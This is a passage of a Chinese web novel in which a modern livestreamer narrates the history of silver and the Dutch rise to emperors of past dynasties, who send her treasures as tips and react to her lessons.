“因为在传统中国,财富的终极归宿不是投资,而是‘转化’。商人赚了钱,最想做的事不是扩大生产,不是更新技术,不是开拓市场——而是买田、捐官、供子弟读书。这是一条‘财富—土地—功名’的循环。”
“它很稳定,也很牢固——但它不会产生新的生产力。明代‘士农工商’的四民秩序虽已松动,但商人之子最好的出路依然是科举入仕,而非子承父业。资本的逐利冲动被制度性地导向了非生产领域。”
“所以,白银在大明,就像水倒进了沙漠——它滋润了表面的繁华,却没有改变底层的结构。它让江南的丝绸更美了,让景德镇的瓷器更精了,让苏州的园林更多了——但它没有让中国变成另一个英国。”
屏幕上缓缓浮现出一句话:
【财富的流向,决定了文明的走向】
---
作坊里
沈老板听到“买田、盖房、窖藏、陪葬”时,脸上的笑容渐渐凝固了。
他下意识地回头看了一眼身后的库房。那些码得整整齐齐的银锭,此刻在烛光下看起来突然不那么让人安心了。
他下意识回想自己赚了钱之后做了什么。
22.第 22 章
买了五百亩地,不全是最肥的田,倒不是买不起,而是江南好田地不好买,他一个没什么大背景的商人也怕打了别人的眼。
盖了一座新宅子,三进的大院子,光是木料就花了一千多两。
给儿子们请了最好的先生,一年大上百两的往里堆钱。
剩下的银子,就锁在小库房里,他有时候半夜起来,会打开箱子看一看,摸一摸。
扩大生产?他不是没想过。
去年开春,他还跟账房先生商量过,要不要再添十张织机,多雇二十个工人。
账房先生算了一笔账:添机、雇人、进货,少说也要投进去八百两。以现在的行情,两三年就能回本,之后每年能多赚四百两。
他心动了。可盘算了三天,还是算了。
原因很简单——他没有靠山。
他想起前街的李家。
李家也是做丝绸的,前些年生意做得比他大,作坊从十张织机扩到了五十张,雇了上百号人。可后来呢?
县太爷的小舅子也要开丝绸作坊,眼红李家的生意,三天两头找借口来查,今天说税没交够,明天说雇的工人里有逃犯,后天又说作坊占了官道。
李家到处托人送礼,银子流水一样花出去,最后还是没保住,作坊关了门,人也不知去了哪里。
他要是把作坊做大了,万一也有人眼红呢?他一个平头百姓,上面没人,朝中无官,出了事谁给他撑腰?
他想起自己每次进城,见了县衙门的门房都要陪笑脸。逢年过节,要给县太爷送节礼,要给师爷送银子,连管税务的吏胥都要打点。这些钱花出去,人家连个好脸色都不一定给——因为他只是商人,是末流。
可要是他儿子中了举呢?
他眼前浮现出周掌柜家的情形。周家儿子中了秀才那年,县太爷亲自登门道贺,坐了整整一个时辰。周掌柜送出门的时候,县太爷拉着他的手叫“老周”,那亲热劲儿,像是多年的老朋友。
周家也是商人,可人家现在是“书香门第”了。
他咽了一口唾沫。这才是正路。
买地,也是这个理。土地是根本,是根基,是传家的东西。
作坊能倒,生意能做赔,但地在那儿,跑不了。哪朝哪代,有地的人都是体面人。
遇上荒年,有地就有粮;遇上官司,有地就能找人说情;遇上朝廷征召,有功名的人家还能免役。
地,是底牌,是命根子,是商人的护身符。
至于再添织机、再雇工人……他摇了摇头。
那些东西,看着是赚钱的营生,可也是招祸的根苗。
你作坊大了,别人就眼红;你赚得多了,衙门就来收税;你雇的人多了,里正保长就来敲竹杠。
这个行当里,做得太大又没靠山的人,没几个有好下场。
他喃喃道:“商人身贱啊……还是读书做官的好……”
他的声音很轻,像一根针掉在地上,没有人回答他,只有那些银锭静静地躺在箱子里,沉默地发着光。
他忽然想起,去年有个福建来的商人跟他说过,说海外那些红毛夷,造船越来越大,炮也越来越厉害。他当时没当回事——海上贸易嘛,有船就行了,跟他一个做丝绸的有什么关系?
可现在天幕上说,银子只有变成船、变成炮、变成工厂,才算真的留下了。
他低头看了看手里的银锭,忽然觉得它没那么沉了。
可他还能怎么办呢?他没有靠山,没有背景,朝中无人。
他能做的,就是织绸、卖绸、攒银子、买地、供儿子读书。等儿子中了举,沈家有了功名,到那时候……到那时候,也许他敢想一想了。
可那时候,他还在不在呢?
他把银锭放回箱子里,合上盖子。箱子里的银子,黑漆漆的,什么光也没有了。
---
[文华殿]
张居正沉默了更久。
天幕上那行字——“财富的流向,决定了文明的走向”——让他感到迷茫。
他一生都在试图改变大明的走向。他整顿吏治,推行一条鞭法,考成法严核官员,丈量田地清理隐占,想要富国强兵。他做了他能想到的一切。
但他从来没想过,银子来了之后,应该流向哪里。
他只知道朝廷缺钱——太仓岁入仅够维持运转,边饷、河工、宗藩俸禄处处要钱。他甚至顾不上想太远的事,因为大明现在就快吃不上饭了。
他以为,只要银子够了,一切就都好了。
可天幕告诉他,银子来了,也不够。因为银子本身不会改变任何东西。改变东西的,是人怎么用银子。
他低声说,声音沙哑得像砂纸磨过木头:“哪怕就是这样,还是救不了大明吗?”
那个“清”,应该就是后来的王朝吧。
他闭上眼睛。眼角有什么东西,在烛光下闪了一下。
[乾清宫]
万历皇帝此刻心绪复杂。他知道朝廷离不开张居正,这个老臣讲治国、讲理财、讲富国强兵,都是一把好手。可他也确确实实觉得他碍眼,处处管束,事事掣肘。
可如果连张居正都救不了大明,那么他还能靠谁?
他问身边的大伴:“咱们的银子,有没有办法变成商船?变成军舰?”
大伴愣了一下,小心翼翼地回答:“回皇上,咱们有水师。郑和下西洋的时候,那船……”
“郑和?”万历冷笑了一声,“那是一百多年前的事了。宝船厂都荒了,图纸也烧了。现在呢?咱们的船,能打得过天幕上那些红毛夷的船吗?”
大伴不敢答。殿内安静得能听见烛花爆裂的声音。
万历沉默了。他忽然觉得,自己这个皇帝,当得有点窝囊。
不,不是有点窝囊,是很窝囊。
他低下头,坐在那里,像一尊被遗忘在庙里的佛像。
天幕上,雁非的声音还在继续。
“白银的故事,是大航海时代全球化的一个缩影……”
然而留言板上,有人发现了新东西。
就在留言区右侧,不知何时多了一个小小的金色图标。
【打赏】
没有说能换什么,只是多了这么一个东西。
留言板安静了片刻。
【汉·未央宫】
刘彻盯着那行字,眉头微皱。
“打赏?”他念了一遍,若有所思,“天幕降世,昭示天道,如
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今又添此物……莫非是上仙欲受供奉之意。”
他顿了顿,又道:“既是供奉上仙,自当以最庄重之物。”
左右欲去准备太牢,刘彻却摆了摆手。
“来不及了。天幕每次不过一个时辰,等你们备好三牲,怕是早就散了。”
他想了想,解下腰间佩剑——那是卫青征匈奴归来时献上的战利品,匈奴王族佩剑,镶金嵌玉,于他而言意义非凡。
“此剑随朕多年,见证大汉铁骑横扫大漠。供奉上仙,够不够庄重?”
他将剑捧在手中,面朝天幕,郑重道:“大汉天子刘彻,敬奉匈奴王剑。”
天幕上金光一闪——
【汉·武帝打赏:匈奴王剑】
那行字浮现在光幕中央,所有人都看见了。
紧接着——
【唐·太宗打赏:西域贡玉狮子】
李世民让人从库房中取出一尊玉狮子,那是西域康国进贡的,羊脂白玉雕成,狮身卧伏,栩栩如生,是他生前最喜爱的摆件之一。
【宋·太祖打赏:官窑瓷器十件】
赵匡胤让人搬出十件官窑瓷器——那是他登基后命人烧制的第一批,每一件都是他亲自过目,珍藏至今。
【明·太祖打赏:洪武釉里红梅瓶】
朱元璋让人取来一只釉里红梅瓶,那是洪武年间景德镇御窑厂烧制的,釉色红艳,是瓷器中最难烧成的品种,整个大明朝也没几件。
一行接一行地跳出来,金光一道接一道地炸开。
天幕那头,雁非的声音忽然断了。
她低头看着手机屏幕,打赏记录还在往上跳。但系统后台给她显示的,是另一串数字:
【汉·武帝打赏:匈奴王剑——估值:震惊值82700000点】
【唐·太宗打赏:西域贡玉狮子——估值:震惊值51300000点】
【宋·太祖打赏:官窑瓷器十件——估值:震惊值1520000000点】
【明·太祖打赏:洪武釉里红梅瓶——估值:震惊值106000000点】
雁非盯着那个“1520000000”,愣了好几秒。
一亿五千二百万震惊值。
她换算了一下,一万震惊值换一块钱。一亿五千二百万震惊值,那就是一万五千二百块钱。
宋朝那十件官窑瓷器,虽然她不知道具体价值,可是怎么着在现代随便一件都是上千万的东西,十件成套,上亿都打不住吧?
她又看了一眼其他朝代的估值。
汉朝匈奴王剑,八千二百七十万震惊值,换算下来八千二百七十块钱。唐朝玉狮子,五千一百三十万震惊值,五千一百三十块钱。明朝釉里红梅瓶,一亿零六百万震惊值,一万零六百块钱。
结果系统这里是把人民币和震惊值给她一比一转换,然后再让她按照10000:1兑换比例兑换?
系统这中间商赚差价赚得也太狠了吧!资本家知道都要流泪的程度啊!
不过系统也没给她其他选择,而且她一个平头百姓手里突然多了这么多价值连城的古董,只怕也不是什么好事儿。
只能安慰自己,本来也是白得的,做人不能太贪心。
23.第 23 章
【宋·开宝】
“朕正愁不知如何回应仙人,不想机缘便至。”
赵普连忙进言:“陛下,天意未明,不若暂且观望……”
“观望什么?”赵匡胤一挥袍袖,“仙人既赐高产之种,又指点海贸之利,如此恩遇,朕岂可坐视不报?”
赵匡胤沉吟片刻,目光掠过殿中,最终落于宗庙方向。
“取太庙祭器来。”略顿了顿,又道,“昨日新烧那批官窑瓷器,也择一套上品献上。虽非稀世之珍,然天幕屡次提及西洋人钟爱此物,想来仙人亦或赏其雅趣。”
---
【明·洪武】
与此同时,应天府皇宫之中,朱元璋的反应则直截得多。
他盯着天幕上那枚铜钱端详良久,忽然一拍御案:“打赏?这不就是给上仙上供么?”
马皇后在一旁忍俊不禁:“陛下,好歹换个雅致些的说辞。”
“雅什么雅,实在便好。”朱元璋转头吩咐,“去,将那十对御制金锭抬来。”
那是他登基时亲督铸造的金锭,每锭足重百两,錾有“洪武御制”“天下太平”字样,本为寓意江山永固之物。
“朕拿不出旁的珍奇,这金锭却是实打实的诚意。”
---
天幕之上,金光骤起。
数十道金芒同时迸发,交相辉映,将整面天幕映得亮如白昼。每一笔打赏俱浮于光幕正中,字体鎏金烁彩。
天幕那头,雁非的声音忽地一顿。
她低头看向手机屏幕,打赏记录如潮水般翻涌而来。系统后台显示的,是另一串数字:
【秦·始皇打赏:龙钮錞于——估值:震惊值31500000点】
【汉·武帝打赏:匈奴王剑——估值:震惊值82700000点】
【唐·太宗打赏:《大唐开元礼》——估值:震惊值680000000点】
【宋·太祖打赏:太庙祭器、官窑瓷器数件——估值:震惊值点1500000000点】
【明·太祖打赏:御制金锭十对——估值:震惊值89000000点】
雁非盯着宋朝那一行数字,怔了好几息。
反复数过几遍,才确认是十五亿震惊值。
宋朝那几件官窑瓷器与太庙祭器,放诸后世,任一件都是无价之珍,合计估值竟直接压过了其余历朝。她又扫了一眼其他朝代的估值——唐朝的《大唐开元礼》,六亿八千万震惊值。
此书乃贞观盛世礼制总纲,文治巅峰之象征,估值之高毋庸置疑,却仍不及宋朝那套祭祀礼器与官窑瓷器的合璧。
雁非心中默默盘算:系统是按现代市场价给这些古董估出总值,再将此数直接折作“震惊值”给付于她——而真正的兑换比例,是一万比一。
也就是说,古人献上一件价值数千万乃至上亿的珍品,落到她手里的震惊值,换算下来不过区区数千。这中间商赚的差价,怕是连资本家见了也要落泪。
不过系统也未曾给她旁的抉择。她一介布衣,骤然经手如此之多价值连城的古董,未必是什么幸事。只能宽慰自己,本是无本之利,不可贪求。
她定了定神,依着系统提示操作。片刻后,天幕上缓缓浮出一行新字:
【主播雁非回馈榜一宋·太祖:红薯种薯一份(本品种薯已进行古代适配处理,适应古代土壤气候条件,可直接用于种植,每份约一百斤)】
---
消息一出,天幕之下,数座宫殿几乎同时震动。
【宋·开宝】
赵匡胤正盯着天幕上那些打赏记录出神,乍见“榜一”二字落在自己名下,先是一怔,随即猛地站起身来。
“红薯?可是天幕所言亩产千斤、山野荒地皆可种植之红薯?”
他声音微颤,座椅被带得向后倾去,发出一声沉响,他却浑然未觉。
“赵卿!你可听见了?不待出海,高产神粮便已到手了!”
赵普亦是满脸震动,连连颔首,喉间滚动:“陛下,若果真如此……若果真如此,大宋再无饥馑之患矣!”
赵匡胤朗声大笑,笑声在大殿中回荡,震得梁上微尘簌簌而落。
“好!好!传旨司农寺,着即筹备,择吉日行祭天大礼!”
殿外,已有人奔走相问“红薯”为何物。亩产千斤四字,如一阵飓风,顷刻席卷整个大内,所过之处,无人不惊,无人不喜。
---
【秦·咸阳宫】
嬴政望着天幕上那行字,沉默良久。
他方才亲眼看见,除宋朝之外,尚有汉、唐、明诸朝并现于天幕之上。
这意味着在他之后,这天下竟又数易其姓,江山几度更迭。
“后世之朝……竟有这许多。”他低声念了一句,语中似有怅然,又似有不甘。
李斯在一旁斟酌着言辞:“陛下,天幕所示,皆是后世之事。那宋朝能得仙人青眼,想来亦有可取之处。那红薯亩产千斤,若所言不虚……”
嬴政摆了摆手,示意他不必再言。
“寡人晓得了。”他语气平淡,目光却仍凝在天幕之上,似要将“红薯”二字刻入心骨,也将那些后世王朝的名号一并记下。
---
【汉·未央宫】
刘彻的反应却与嬴政不同。
他并不为后世多朝而惊——自董仲舒献策、天人感应之说盛行,汉家天下能传几世,他心中早有准备。
他所憾者,是另一件事——匈奴王剑竟然不得仙人喜欢。
这是他生平最得意的战利品之一,见证了大汉铁骑的无上荣光。他本以为,此物足以彰显大汉威德,博得仙人之顾。
可天幕选了宋朝。
“朕献匈奴王剑,竟不及赵家一套瓷器?”他凝思许久,终是轻轻一叹,目光怅然,“这‘榜一’……莫非便是头甲之意?宋朝竟这般讨得仙人青眼,得赐神种。”
左右无人敢应。
殿中一时沉寂,只有天幕余晖映在丹陛之上,明灭不定。
---
【唐·贞观】
李世民亦在此时轻轻搁下了茶盏。
他倒不曾如刘彻那般不甘,他所思者,是另一层。
“汉献匈奴王剑,秦献上古军器,朕献礼典,明献金锭……唯宋独得神种。”他缓缓开口,语
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速很慢,似在品味其中深意,“仙人此番择取,莫非是在告诉天下——民生之重,更在兵戈礼法之上?神种也要给重民生的王朝?”
魏征微微一怔,旋即拱手:“陛下圣明。民以食为天,若无五谷,纵有雄兵百万、礼制周全,亦是空谈。仙人赐种于宋,或有此意。”
李世民点了点头,目光深邃。
“传旨下去,自明日起,着人详查天下农书,凡有记载高产之物者,无论出自何地,皆报上来。”
“下次大朝会仔细商讨一下给仙人的祭祀之物……”
---
【明·洪武】
“那赵家皇帝有什么好,一门子窝囊废,倒叫仙人选了他?”
他瞪着眼,满脸不服。若是选中的是汉唐也就罢了——那两家好歹是文治武功,都有些威风。
可仙人偏偏选了宋,那个从立国起便处处受气、最后连皇帝都被掳走的窝囊王朝。
“亩产千斤的红薯啊……”他重重坐回椅上,声里带着毫不遮掩的懊恼,“这东西若给了朕,天下人还用饿肚子?”
马皇后在一旁温言劝道:“天幕方才说了,红薯早晚会传入中原。此番虽未选中,却也教咱们知晓了有此物在。回头多遣人出海寻访便是。”
朱元璋闷哼一声,到底意难平。
“下次。”他盯着天幕上渐渐散去的华光,语气郑重如立军令,“朕多备些珍物,回头列个单子都搁在跟前,随时可给上仙献上。朕倒要看看,赵家那窝囊废能得意几回。”
---
金光散尽,天幕上的画面重归白银的故事。
雁非清了清嗓子,将方才那段小插曲暂且按下,深吸一口气,让声调恢复平稳。
“中国凭借无可匹敌的商品力,成为全球贸易的中心。全世界的白银如潮水般奔涌而来——这是中国历史上,离‘世界中心’最近的一刻。”
“但繁荣的表象之下,一个隐患始终未曾解决:银子来了,然后呢?”
“当白银的潮水退去——十七世纪日本银矿枯竭,十八世纪美洲独立战争后西班牙银矿减产,十九世纪西方列强不再以白银支付,转而以鸦片抵偿——当西方的铁甲舰出现在海岸线上,当那些曾经捧着大明瓷器、穿着大明丝绸的欧洲人,带着枪炮与鸦片重新叩开中国的大门时,人们才发现,仓库里的银子,换不来一支舰队。”
屏幕上浮现出下一期的标题:
【大国崛起·第二篇:小国大业——荷兰的黄金世纪】
“下一期,我们来看荷兰:一个靠‘花钱’称霸世界的小国。他们没有银矿,没有金矿,没有广袤的国土,没有庞大的人口。但他们有一件事做得比谁都好——花钱。”
“把钱花在船上,花在港口上,花在贸易网络上,花在金融创新上。世界上第一家股份制公司、第一家股票交易所、第一家现代银行,都诞生在这片低洼之地上。”
“大国崛起,不靠存银子,靠花银子。”
画面渐暗。
屏幕上最后浮出一行字,如一颗沉入深海的锚:
【财富不会自动变成力量。是人,把财富变成了力量。或者没有。】
24.第 24 章
【清】
养心殿。
康熙独自坐着。
天幕暗下去很久了,他还坐在那里,一动不动。殿内的烛火已经烧得很低了,光影在墙壁上晃动,像无数模糊的影子在窃窃私语。
他从袖中摸出一枚银锭子——那是内务府刚呈上来的、广东新铸的银币样本。他在指尖转了转,银光在烛火下一闪一闪的。
他想起自己平三藩、收台湾、定西北、剿噶尔丹,靠的是八旗铁骑,是红衣大炮,是火铳,是刀箭,是千千万万将士的血。
他以为,只要大清的铁骑在,只要大清的刀枪在,只要大清的皇帝在,天下就是大清的。
可天幕上说,后来的人,连打都没得打。铁甲舰来了,炮台轰塌了。
大清的银子,比明朝多得多。
康熙五十年,户部库银存银超过五千万两,是万历朝太仓岁入的十倍不止,可这些银子,变成了什么?
他忽然想到一个问题:如果有一天,铁甲舰真的来了,大清的银子,能换出多少条船?能铸出多少门炮?能练出多少兵?
他把银锭子放在桌上,轻轻推了一下。
整个养心殿,安静得像一座坟墓。
康熙没有说话。他只是坐在那里,望着那枚银锭子,望着那片虚无的夜空,望着一个他看不见的、正在到来的时代。
那个时代里有铁甲舰,有蒸汽机,有铁路,还有有他不知道名字的、数不清的东西。
他知道那个时代要来。
但他不知道,大清在那个时代里,会是什么样子。
窗外的夜风穿过宫墙,发出呜呜的声响,像在哭。
【现代】
结束直播的瞬间,雁非几乎是以一种迫不及待的速度切断了画面,甚至连那句惯常的“大家晚安”都说得有些心不在焉。
屏幕一黑,她整个人往椅背上一靠,随即飞快地点开了系统面板。
下一秒,那些数字跳入眼帘——
【震惊值:9306819000】
【社会进步值:13.71267(持续结算中)】
雁非盯着那串长长的数字,眼睛不由自主地眯了起来,嘴角先是微微一动,像是想绷住,可不过片刻,那弧度就怎么都压不下去了,甚至越咧越开,最后连眉眼都弯成了一轮月牙。
九十多亿的震惊值。
她深吸一口气,在心里飞速地换算了一遍——按照系统的兑换比例,这些震惊值能兑换出九十多万的现实货币。九十多万。这个数字落在脑子里,沉甸甸的,又轻飘飘的,像是踩在一团软乎乎的云上,明明不真实,却又实打实地托住了她。
虽说这点钱在A市买房连个首付都够呛,但对她而言,意义远不止于此。
这几个月,她为了省钱,连杯奶茶都要犹豫半天,外卖凑不满起送价就多囤两顿,超市打折区是她最常光顾的地方。而如今,这笔钱意味着她终于可以从那种紧巴巴的日子里彻底挣脱出来了。
在这座城市,年入百万的人已经算是中高收入群体,而她呢——她现在是“月入百万”。
雁非又看了一眼银行卡到账的余额提示,那些数字安安静静地躺在那里,却让她心里涌上一股从未有过的踏实感。
手里有钱,心不慌,当学生时她没多大感觉,现在步入社会才知道,那是再真不过的道理。
她开始认认真真地盘算起这笔钱该怎么花。
房子是一定要换的,现在租的那间房隔音差、采光也不好,每天早上被隔壁闹钟吵醒的滋味她真是受够了。
这次要找个环境好点的,最好带个小阳台,能晒到太阳的那种。
还有爸妈。
想到这里,雁非的手指在桌面上轻轻敲了两下,神情有些复杂。
这几个月她因为赌气,一直没主动联系家里。当初一意孤行要来A市时,电话里那场争执她到现在还记得清楚。
她当时撂下一句“我能养活自己”就挂了电话,之后便再没主动联系过。
可现在不一样了。
她点开转账页面,手指悬在数字键盘上犹豫了片刻,最终还是输入了两万块钱,不敢给多了,怕她爸妈担心。
转账说明那一栏,她删删改改了好几次,最后只留了简简单单四个字:
“别省着花。”
转账发出去之后,雁非端着杯子喝了口水,心里其实有点打鼓。
两万块,说多不多,说少也不少。
她当然想一口气多转一些,可又怕太突然吓着父母——毕竟在她们家那边的县城,两万块差不多是母亲三个月的工资了。
更重要的是,她不想让父母觉得自己突然发了横财,后面还得费劲解释。
先转两万,意思意思,让爸妈知道自己现在过得还行,应该就够了。
她正想着要不要发条消息解释两句,母亲的视频电话就打了过来。
雁非愣了一下,赶紧放下杯子接通。
屏幕上出现母亲的脸,背景是家里客厅那盏熟悉的暖黄色吊灯。母亲显然刚洗完碗,围裙还没来得及解,额前的碎发有些凌乱。
她一看到雁非,眼眶就红了。
“菲菲啊……”
“妈,怎么了?”雁非被这阵仗吓了一跳,“钱收到了吧?我就是——”
“收到了收到了,”母亲连连点头,声音却有些发紧,“你爸也看见了。我们就是想问问你……你是不是把生活费省下来给我们了?”
雁非还没开口,父亲的脸也挤进了屏幕。他比几个月前看着好像又瘦了些,此刻正皱着眉头,神情严肃。
“菲菲,你跟爸说实话,”父亲的声音低沉,带着那种不容糊弄的认真,“你在A市一个月房租多少钱?”
雁非张了张嘴,犹豫了一下还是老实回答:“……四千五。”
“四千五?”母亲的音量一下拔高了,“就这小破房子?”
“妈,附近都这个价——”
“那吃饭呢?交
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通呢?水电呢?”父亲一个问题接一个问题砸过来,语气越来越沉,“你一个月才挣多少,你自己算过没有?”
雁非被问得有点招架不住,刚想解释自己最近收入涨了,就听父亲又说:“你在那边能养活自己,爸都替你捏把汗,你还往家里打钱?”
母亲在旁边跟着点头,眼角已经湿了:“闺女,妈跟你爸虽然在县城挣得不多,但够花了。你在A市那种地方,能把自己顾好就不容易了,妈还能要你的钱?”
“我就是想让你们知道我——”
“我们知道,我们知道你想证明自己,”母亲打断她,声音温柔下来却带着心疼,“可你也不能打肿脸充胖子啊。两万块在咱们这儿是不少,可在A市,够你交几个月房租的。你自己留着花,行不行?”
父亲没说话,但那张一向严肃的脸上,眉头拧得更紧了。
他沉默了好一会儿,才开口,声音放软了许多:“菲菲,爸当初不同意你去,不是怕你挣不到钱,是那地方扎根……太难了,你在老家爸妈什么都可以给你兜着,可你在那里我们却使不上力,现在你能养活自己,爸已经很高兴了,不用给家里寄钱,你自己过好比什么都强。”
雁非忽然有些说不出的难受。
她以为两万块是个恰到好处的数字,不多不少,既能让父母安心,又不会显得太夸张。
可她忘了,在父母眼里,A市从来不是什么“机会遍地的大城市”,而是那个“一碗面都要三十块、租个隔断间都要大几千”的吃人的地方。
在他们看来,她能在那座城市活下来都已经拼尽全力了,哪里还有余钱往家里寄?
“妈,我最近收入涨了,”雁非斟酌着措辞,“直播做得还行,比之前宽裕不少——”
“你别骗妈了,”母亲摇着头,语气里全是不信,“直播哪有那么好挣钱?你才做多久。”
要是真挣钱了,还能住这么破的房子,他们家虽然不说大富大贵,但在县城里也算小康家庭,女儿以前什么时候住过这么差的房子。
闺女不乐意靠编制,他们两口子面上不答应,可私底下也去打听过,越打听越觉得这行不好干,哪怕非得干,回老家也可以。
女儿却非得留在A市,在他们眼里就是没苦硬吃。
雁非张了张嘴,一时不知道该怎么解释。
“行了,”父亲一锤定音,“钱你先收回去,等你什么时候真在那边站稳了,比什么都强。”
“你爸说得对,”母亲擦了擦眼角,挤出一个笑来,“你自己好好的,妈就放心了。别老惦记家里,听见没?”
视频挂断后,雁非盯着屏幕上退回的转账记录,愣了好一会儿。
窗外A市的夜景依然璀璨,可她却忽然觉得鼻子有些酸。
“系统,我以后挣钱越来越多,会不会有麻烦?毕竟收入来源说不清啊。”雁非点开系统客服界面进行咨询。
“主播可以放心哦,系统将会把主播的收入进行合理、合法化。”
25.第 25 章
下午一点五十五分。
直播间里安安静静的,在线人数还在往上涨。雁非看着那个数字跳了几下,又看了一眼屏幕上飘过的弹幕,感觉时间火候差不多了。
把目光收回来,她清了一下嗓子,打开麦克风:“上回说,这期要讲荷兰。”
“这个国家有多小呢?它的国土,比咱们一个府大不了多少。人口,也就几十万。地是洼地,种不出多少粮食。山上没有矿,地下没有银。”
此时各时空天幕都可以看到一个用来直观表达荷兰地貌的简略动画三维立体图。
“你们猜,这样的国家,后来做成了什么事?”
弹幕飘了几条。
【能做成什么事?能活下来就不错了。】
【这种地方,放咱们大明,就是个穷县。】
【怕是连个像样的城池都建不起来。】
天幕缓缓出现一行大字。
[海上马车夫]
“这是欧洲人给它的诨号。”
【马车夫?赶车的?】
【一个穷国,给人赶车?】
【这算什么诨号?骂人的吧?】
雁非摇了摇头,虽然镜头那边的观众并不能看到她。
“你们以为‘马车夫’是骂人的?非也”
“17世纪的时候,这个比咱们一个府还小的国家,商船比英吉利、法兰西、德意志加起来还多。波罗的海的木材、法兰西的葡萄酒、英吉利的羊毛、东方的香料——整个欧洲的海上运输,十船里有七船是荷兰的。”
“整个欧洲的货,都是它在运。整个欧洲的生意,都是它在做。”
弹幕瞬间炸了。
【什么???】
【比英法德加起来还多???它哪来那么多船???】
【一个县大的地方,把整个欧洲的生意都做了???】
【这不可能!!!】
【十船里有七船是它的??那得多少银子???】
【它哪来的人?哪来的本钱??】
雁非看着弹幕一条接一条往上涌,没有急着开口,她等了几息,让这些话飞一会儿。
“是啊,凭什么?”
天幕画面再次出现《大国崛起·荷兰篇》的情景。
“要讲清楚这个,得先讲明白一件事——”
她把手掌平放在水面上,轻轻往下压,水漫过她的手背。
“一个住在海平面底下的人,为什么非要把钱花出去不可。”
她把湿漉漉的手收回来,在桌布上擦了擦。盆里的水还在晃,木板跟着一高一低地起伏。
“荷兰这个地方,地比海低。你站在地上,海水在你头顶上晃。堤坝在,你是活的。堤坝一垮,你是死的。”
天幕那个三维立体图再次出现,只不活增添了好几个解说配图。
“所以荷兰人从几百年前就开始修堤坝,但一个人修不了——你修你家门口这段,上游垮了,水冲下来照样淹死你,你得跟上游的商量,跟下游的商量,大家一起出钱,一起出工。”
“上游的偷懒,下游的遭殃。下游的不修,上游的水漫过来也淹了别人。”
“谁都不能偷懒,谁都得盯着别人。谁多出了,谁少出了,这笔账要是算不明白,下次就没人跟你搭伙了。堤坝一垮,全家淹死。”
她顿了顿。
“算不明白账的人,活不下来。”
弹幕安静了好一阵。
【这等境况,倒比我们种地的还苦。】
【算账不是算计人,是保命的本事。】
【日子过成这样,不算不行。】
“这种日子过上几百年,就养出两个本事。第一,你知道一个人活不了,必须跟人搭伙。第二,你把账算得特别清楚——不算清楚,你活不下去。”
天幕上在荷兰的位置出现了一个红圈。
“所以荷兰人不是天生会做生意。是他们只能靠做生意活着,算了几百年,算成了习惯。”
她把笔放下,看着弹幕。
【那他们做什么营生?】
【无地无矿,靠什么起家?】
“先说一桩事,荷兰以前不叫荷兰,叫尼德兰,归咱们前面提起过的西班牙管。西班牙国王收税——每笔生意抽一成。尼德兰赚一百两,他拿走十两。卖一船货,他抽十两,赚得越多,他拿得越多。”
她把西班牙王冠的纸条拿起来,放在地图旁边。
“到后来,西班牙在尼德兰收的税,比在
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西班牙本土还多。”
弹幕安静了片刻,慢慢浮上来几条。
【这不就是把民脂民膏往死里刮?】
【苛政猛于虎。】
【那不得反了?】
雁非看着弹幕,手指在桌上敲了敲。
“尼德兰人也这么想。他们算了笔账——给西班牙交的税,一年下来够自己养一支军队了。那还交什么?反了吧。”
她停了停。
“但问题是——人少地小,打不过。”
【那如何是好?】
【请外援?】
【继续花钱纳贡?】
“花钱不假,但不是买平安。他们算了一笔账,自己上阵打仗,死了就没人做生意了。雇别人打,花钱就行。钱没了可以再赚,人死了什么都没了。”
“所以他们从德意志雇了三万士兵,从英吉利买了五十艘战舰。”
弹幕骤然静了,过了好几息,才有一条飘上来。
【雇兵打仗?】
紧接着,更多弹幕涌了出来。
【三万兵马……这要多少银子?】
【仗还能这样打?】
【匪夷所思。】
【闻所未闻。】
雁非等了几息,才继续开口。
“荷兰独立战争打了八十年,不是天天打——有钱了就雇兵打一仗,没钱了就歇着做生意。攒够银子再打。打输了就退回去,攒几年再打。”
“西班牙那边呢?打一仗要花几百万两银子,从西班牙运钱过来,路上就得走好几个月。银子到了,仗已经打完了。”
她抬起头。
“所以荷兰能打赢,不是因为他们人多能打,是因为他们有钱。在欧洲那个地方,有钱就能雇人打,有钱就能买船买炮,有钱就能撑八十年。西班牙不是打不过荷兰,是打不起。”
弹幕安静了一会儿。
【银子能买到国运?】
【这倒稀奇,打仗不看人多,看银子多。】
【西班牙那般强盛,竟被银子压垮了?】
【荷兰人把账算到这个份上,也真是绝了。】
【那荷兰的银子从哪来?】
“银子从哪来?从海里来。”
“
26.第 26 章
荷兰靠海。海里有一种鱼叫鲱鱼。欧洲到处都有,英国人能捞,法国人能捞,德意志人也能捞。但只有荷兰人靠它赚了大钱。”
“别的国家捞了鱼,运回岸上再处理,鱼已经臭了。海鱼离水就死,夏天在船上放半天就发臭。等你运到岸上开膛破肚,那鱼早就不能吃了。”
“荷兰人不一样——鱼一上船,立刻处理。一刀切开肚子,把内脏掏干净,抹上盐,装进桶里。前后不到一盏茶的功夫。”
【一刀的事,有何难?】
雁非看着这条弹幕,没有急着反驳,略微思考了一下才才道:
“大家可以试试,从海里捞一条鱼,在一盏茶的时间里掏干净内脏,还不能把鱼胆弄破——弄破了鱼就苦了,卖不出去。船上颠簸,手一抖就破。这一刀,荷兰人练了几十年。父亲教儿子,师傅带徒弟,一代一代传下来的。”
“你会别人不会的东西,就能卖高价。荷兰人靠这一刀,把鲱鱼卖到了全欧洲。英国人、法国人、德意志人,都得找荷兰人买鱼。不是因为他们捞不到鱼,是因为他们处理不好,鱼运到半路就臭了。”
【这倒是,独门手艺最值钱。】
【一招鲜,吃遍天。】
【可光靠卖鱼,能赚出几万兵马的钱?】
雁非摇摇头,天幕画面上面出现一艘船,船身宽宽的,船底平平的,没有炮。
“光有鲱鱼不够。荷兰人还有一样东西——船。”
“荷兰人造了一种新船。船身宽、船底平、造价便宜、用人少。别的商船要十几个人开,这种船五六个人就行。为什么?因为别的船装大炮,要很多人操炮。荷兰船不装炮,省下了人手。”
【没炮?不怕海盗?】
雁非看着这条弹幕,解释了一下:
“荷兰人算过账。装上大炮,船就重了,速度慢了,用人也多了。大炮占货舱,要花钱买,要多雇水手。每趟运费就贵了。”
“不装大炮,船轻了,速度快了,运费便宜了。被海盗抢的概率不高。就算被抢几艘,省下来的运费也够赔了。十艘船省下的银子,买一艘被抢的船,还有剩的。”
“因为运费便宜,所有人都找荷兰人运货。英吉利的羊毛、法兰西的葡萄酒、德意志的粮食、波罗的海的木材——都是荷兰船在运。到后来,荷兰的商船比英吉利、法兰西、德意志加起来还多。”
弹幕安静了一会儿,慢慢浮上来几条。
